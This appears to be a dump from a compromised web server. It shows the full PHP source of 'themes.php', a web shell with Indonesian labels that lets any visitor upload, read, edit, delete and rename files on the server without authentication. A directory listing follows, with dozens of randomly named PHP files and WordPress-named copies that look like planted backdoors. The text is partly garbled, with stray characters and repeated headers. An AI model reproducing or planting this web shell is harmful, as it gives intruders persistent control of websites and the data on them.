Na}{

File Content: `themes.php`

<?php error_reporting(0); ?>
<!DOCTYPE html>
<html>
<head>
	<title>RBSofh76NF9sW6C1GMohW3NaVvIneqoDppimGP1Ni1I46</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> 
</head>
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style>
<body>
	<center><h1>H69UNtblNBNpha2dtB1Odn8qYp1Qk5NK2gi7yfceofo9N</h1></center>
  <div class="dir">
	<?php  
	// Base directory yang tetap
	$baseDir = getcwd(); // atau tentukan path manual: $baseDir = "/path/to/your/directory";
	
	if (isset($_GET['dir'])) {
		// Decode dari base64 dan pastikan tidak keluar dari base directory
		$decodedDir = base64_decode($_GET['dir']);
		if (strpos(realpath($decodedDir), realpath($baseDir)) === 0) {
			$dir = $decodedDir;
		} else {
			$dir = $baseDir;
		}
	} else {
		$dir = $baseDir;
	}

	$dir = str_replace("\\", "/", $dir);
	
	// Breadcrumb yang disamarkan - hanya tampilkan nama folder terakhir
	$dirs = explode("/", $dir);
	$displayDir = end($dirs) ?: '/';
	echo '<a href="?dir='.base64_encode($baseDir).'">Root</a> / ';
	echo $displayDir;

	if (isset($_POST['submit'])){
		$namafile = $_FILES['upload']['name'];
		$tempatfile = $_FILES['upload']['tmp_name'];
		$error = $_FILES['upload']['error'];
		$ukuranfile = $_FILES['upload']['size'];

		if(move_uploaded_file($tempatfile, $dir.'/'.$namafile)) {
			echo "<script>alert('diupload!!!');</script>";
		} else {
			echo "<script>alert('Upload gagal!!!');</script>";
		}
	}
	?>

	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
	</form>

  </div>
<table>
	<tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	<?php
	$scan = scandir($dir);
	$currentDirEncoded = base64_encode($dir);

	foreach ($scan as $directory) {
		if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;

		echo '
		<tr>
		<td><a href="?dir='.base64_encode($dir.'/'.$directory).'">'.$directory.'</a></td>
		<td>--</td>
		<td>NONE</td>
		</tr>
		';
	} 
	
	foreach ($scan as $file) {
		if (!is_file($dir.'/'.$file)) continue;

		$jumlah = filesize($dir.'/'.$file)/1024;
		$jumlah = round($jumlah, 3);
		if ($jumlah >= 1024) {
			$jumlah = round($jumlah/1024, 2).'MB';
		} else {
			$jumlah = $jumlah .'KB';
		}

		echo '
		<tr>
		<td><a href="?dir='.$currentDirEncoded.'&open='.base64_encode($dir.'/'.$file).'">'.$file.'</a></td>
		<td>'.$jumlah.'</td>
		<td>
		<a href="?dir='.$currentDirEncoded.'&delete='.base64_encode($dir.'/'.$file).'" class="button1">Hapus</a>
		<a href="?dir='.$currentDirEncoded.'&ubah='.base64_encode($dir.'/'.$file).'" class="button1">Edit</a>
		<a href="?dir='.$currentDirEncoded.'&rename='.base64_encode($dir.'/'.$file).'&nama='.urlencode($file).'" class="button1">Rename</a>
		</td>
		</tr>
		';
	}
	
	if (isset($_GET['open'])) {
		$filePath = base64_decode($_GET['open']);
		if (file_exists($filePath) && strpos(realpath($filePath), realpath($baseDir)) === 0) {
			echo '
			<br />
			<style>
				table {
					display: none;
				}
			</style>
			<textarea>'.htmlspecialchars(file_get_contents($filePath)).'</textarea>
			';
		}
	}

	if (isset($_GET['delete'])) {
		$filePath = base64_decode($_GET['delete']);
		if (file_exists($filePath) && strpos(realpath($filePath), realpath($baseDir)) === 0) {
			if (unlink($filePath)) {
				echo "<script>alert('dihapus');window.location='?dir=".$currentDirEncoded."';</script>";
			}
		}
	}
	
	if (isset($_GET['ubah'])) {
		$filePath = base64_decode($_GET['ubah']);
		if (file_exists($filePath) && strpos(realpath($filePath), realpath($baseDir)) === 0) {
			echo '
			<style>
				table {
					display: none;
				}
			</style>
			<a href="?dir='.$currentDirEncoded.'" class="button1"><=Back</a>
			<form method="post" action="">
			<input type="hidden" name="object" value="'.htmlspecialchars($filePath).'">
			<textarea name="edit">'.htmlspecialchars(file_get_contents($filePath)).'</textarea>
			<center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
			</form>
			';
		}
	}
	
	if (isset($_POST['edit']) && isset($_POST['object'])) {
		$filePath = $_POST["object"];
		if (strpos(realpath($filePath), realpath($baseDir)) === 0) {
			$data = fopen($filePath, 'w');
			if (fwrite($data, $_POST['edit'])) {
				echo '<script>alert("Berhasil diedit!!!");window.location="?dir='.$currentDirEncoded.'";</script>';
			} else {
				echo "<script>alert('gagal');</script>";
			}
			fclose($data);
		}
	}

	if(isset($_GET['rename'])){
		$filePath = base64_decode($_GET['rename']);
		$fileName = isset($_GET['nama']) ? urldecode($_GET['nama']) : '';
		
		if(isset($_POST['newname']) && $filePath && strpos(realpath($filePath), realpath($baseDir)) === 0){
			$newName = $_POST['newname'];
			$newPath = dirname($filePath) . '/' . $newName;
			
			if(rename($filePath, $newPath)){
				echo '<font color="green">Ganti Nama Berhasil</font><br/>';
				echo "<script>window.location='?dir=".$currentDirEncoded."';</script>";
			}else{
				echo '<font color="red">Ganti Nama Gagal</font><br />';
			}
		}
		
		if($filePath && strpos(realpath($filePath), realpath($baseDir)) === 0){
			echo '<br><center><form method="POST">
			New Name : <input name="newname" type="text" size="20" value="'.htmlspecialchars($fileName).'" />
			<input type="hidden" name="path" value="'.htmlspecialchars($dir).'">
			<input type="submit" value="Go" />
			</form></center>';
		}
	}
	?>
</table>
</body>
</html>

Name	Size	Permission
195499	---	0755
735250	---	0755
sa	---	0755
.htaccess	307 bytes	0644
2CsGJ7yoPMz.php	29033 bytes	0644
J8XbduHRVB2.php	29033 bytes	0644
Tpsix9aChl5.php	170771 bytes	0644
UMDfZxoin3l.php	52991 bytes	0644
aR4oyjxuLF6.php	52991 bytes	0644
api_405645f5.php	24955 bytes	0644
bc.php	24781 bytes	0644
cache_2e94d37d.php	38609 bytes	0644
cache_6dc7ade8.php	223027 bytes	0644
config.php	1092 bytes	0644
configuration.php	1092 bytes	0644
data_ca2e2215.php	170061 bytes	0644
default.php	1092 bytes	0644
dhaxstpu.php	760 bytes	0644
evajzrpj.php	760 bytes	0644
fedyxsng.php	760 bytes	0644
hIHCy9VFJuE.php	170771 bytes	0644
ikcebgko.php	760 bytes	0644
ilqfauqn.php	760 bytes	0644
image_7d27b985.php	170062 bytes	0644
index.htm	1092 bytes	0644
index.html	1092 bytes	0644
index.php	1092 bytes	0644
ioxi-o.php	989798 bytes	0644
jozkxudd.php	760 bytes	0644
louc4Edx9TI.php	45022 bytes	0644
main.php	1092 bytes	0644
ndpvcirn.php	760 bytes	0644
php.ini	105 bytes	0644
popyrirp.php	760 bytes	0644
postnews.php	5464 bytes	0444
pxntrkpw.php	760 bytes	0644
stro.php	3693 bytes	0644
theme-inskjmi.php	338 bytes	0644
theme-insqlxh.php	338 bytes	0644
theme-insyrhk.php	338 bytes	0644
themes.php	7805 bytes	0777
tmp_06220825.php	72477 bytes	0644
tvjkiwwx.php	760 bytes	0644
vedcpkfe.php	760 bytes	0644
w2NbcyJXugD.php	52991 bytes	0644
wcqzaffx.php	760 bytes	0644
wfpclyuj.php	760 bytes	0644
wfvhbwqu.php	760 bytes	0644
wp-blog-header.php	1092 bytes	0644
wp-config.php	1092 bytes	0644
wp-cron.php	1343 bytes	0644
wp-infos.php	24003 bytes	0644
wp-settings.php	1092 bytes	0644
xf6n5Q4tlrI.php	45022 bytes	0644
xpnnjeyt.php	760 bytes	0644
xvaJgPsjRq1.php	45022 bytes	0644

File Content: themes.php

File Content: `themes.php`